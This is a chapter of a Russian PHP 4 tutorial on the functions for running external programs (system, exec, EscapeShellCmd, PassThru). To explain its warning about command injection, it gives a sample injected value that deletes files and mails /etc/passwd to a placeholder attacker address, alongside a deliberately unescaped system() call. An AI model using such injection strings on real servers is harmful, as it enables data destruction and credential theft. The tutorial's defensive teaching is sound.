САМОУЧИТЕЛЬ PHP 4

       

Запуск внешних программ


Функции запуска внешних программ в PHP востребуются достаточно редко. Их "непопулярность"

объясняется прежде всего тем, что при использовании PHP программист получает в свое распоряжение почти все возможности, которые могут когда-либо понадобиться, в частности, почтовые функции, на которые приходится львиная доля вызовов внешних программ в других языках — например, в Perl. Тем не менее, в числе стандартных функций языка присутствует полный набор средств, предназначенных для запуска программ и утилит операционной системы.

string system(string $command [,int& return_var])

Эта функция, как и ее аналог в Си, запускает внешнюю программу, имя которой передано первым параметром, и выводит результат работы программы в выходной поток, т. е. в браузер. Последнее обстоятельство сильно ограничивает область применения функции.

Впрочем, задействуя функции перенаправления вывода, мы все-таки можем получить и обработать то, что выдала нам запущенная программа, но стоит ли игра свеч? Может быть, лучше воспользоваться более подходящими средствами?

Если функции передан также второй параметр — переменная (именно переменная, а не константа!), то в нее помещается код возврата вызванного процесса. Ясно, что это требует от PHP ожидания завершения запущенной программы — так он и поступает в любом случае, даже если последний параметр не задан.

Не нужно и говорить, что при помощи этой функции можно запускать только те команды, в которых вы абсолютно уверены. В частности, никогда не передавайте функции system() данные, пришедшие из браузера пользователя (предварительно не обработав их) — это может нанести серьезный урон вашему серверу, если злоумышленник запустит какую-нибудь разрушительную утилиту — например, rm ?R ~/, которая быстро и "без лишних слов" очистит весь ваш каталог.

Как уже упоминалось, выходной поток данных программы направляется в браузер. Если вы хотите этого избежать, воспользуйтесь функциями popen() или exec(). Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы попали прямиком в браузер и никак при этом не исказились (например, вы вызываете программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в этом случае в самый раз будет функция PassThru().


string exec(string $command [,list& $array] [,int& $return_var])

Функция exec(), как и system(), запускает указанную программу или команду, однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого функция возвращает последнюю строку из выходного потока запущенной программы и, если задан параметр $array (который обязательно должен быть переменной), то он заполняется списком строк в выходном потоке — по одной строке на элемент.





Если массив уже содержал какие-то данные перед вызовом exec(), новые строки просто добавляются в его конец, а не заменяют старое содержимое массива. Учитывайте это в своих программах, иначе нетрудно получить очень нетривиальную ошибку.

Как и в функции system(), при задании параметра-переменной $return_var код возврата запущенного процесса будет помещен в эту переменную. Так что функция exec() тоже дожидается окончания работы нового процесса и только потом возвращает управление в PHP-программу.

string EscapeShellCmd(string $command)

Помните, мы говорили о том, что нельзя допускать возможности передачи данных из браузера пользователя (например, из формы) в функции system() и exec()? Если это все же нужно сделать, то данные должны быть соответствующим способом обработаны: например, можно защитить все специальные символы обратными слэшами, и т. д. Это и делает функция EscapeShellCmd(). Чаще всего ее применяют примерно в таком контексте:

system("cd ".EscapeShellCmd($to_directory));

Здесь переменная $to_directory пришла от пользователя — например, из формы или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd(), написав следующий код:

system("cd $to_directory");

// Никогда так не делайте!

Задав такое значение для $to_directory:

~; rm -R *; sendmail hacker@domain.com </etc/passwd

разрушитель добьется своего разрушительного результата, а заодно и пошлет себе по почте файл /etc/passwd, который в Unix-системах содержит данные об именах и паролях пользователей.



string PassThru(string $command [,int& $return_var])

Эта функция запускает указанный в ее первом параметре процесс и весь его вывод направляет прямо в браузер пользователя, один-в-один. Она может пригодиться, если вы воспользовались какой-нибудь утилитой для генерации изображений "на лету", оформленной в виде отдельной программы

(в PHP есть гораздо более мощные встроенные функции для работы с изображениями, которые работают быстрее, поэтому я не рекомендую вам применять PassThru() даже в подобных целях). Давайте рассмотрим пример использования этой функции:

Header("Content-type: image/jpeg");

PassThru("cat my_image.jpg");

Функция Header(), которую мы рассмотрим в другой главе, сообщает браузеру пользователя, что данные поступят в графическом формате JPEG, а последующий вызов утилиты cat с параметром — именем файла с рисунком — заставляет систему "распечатать"

файл в браузер пользователя.


Содержание раздела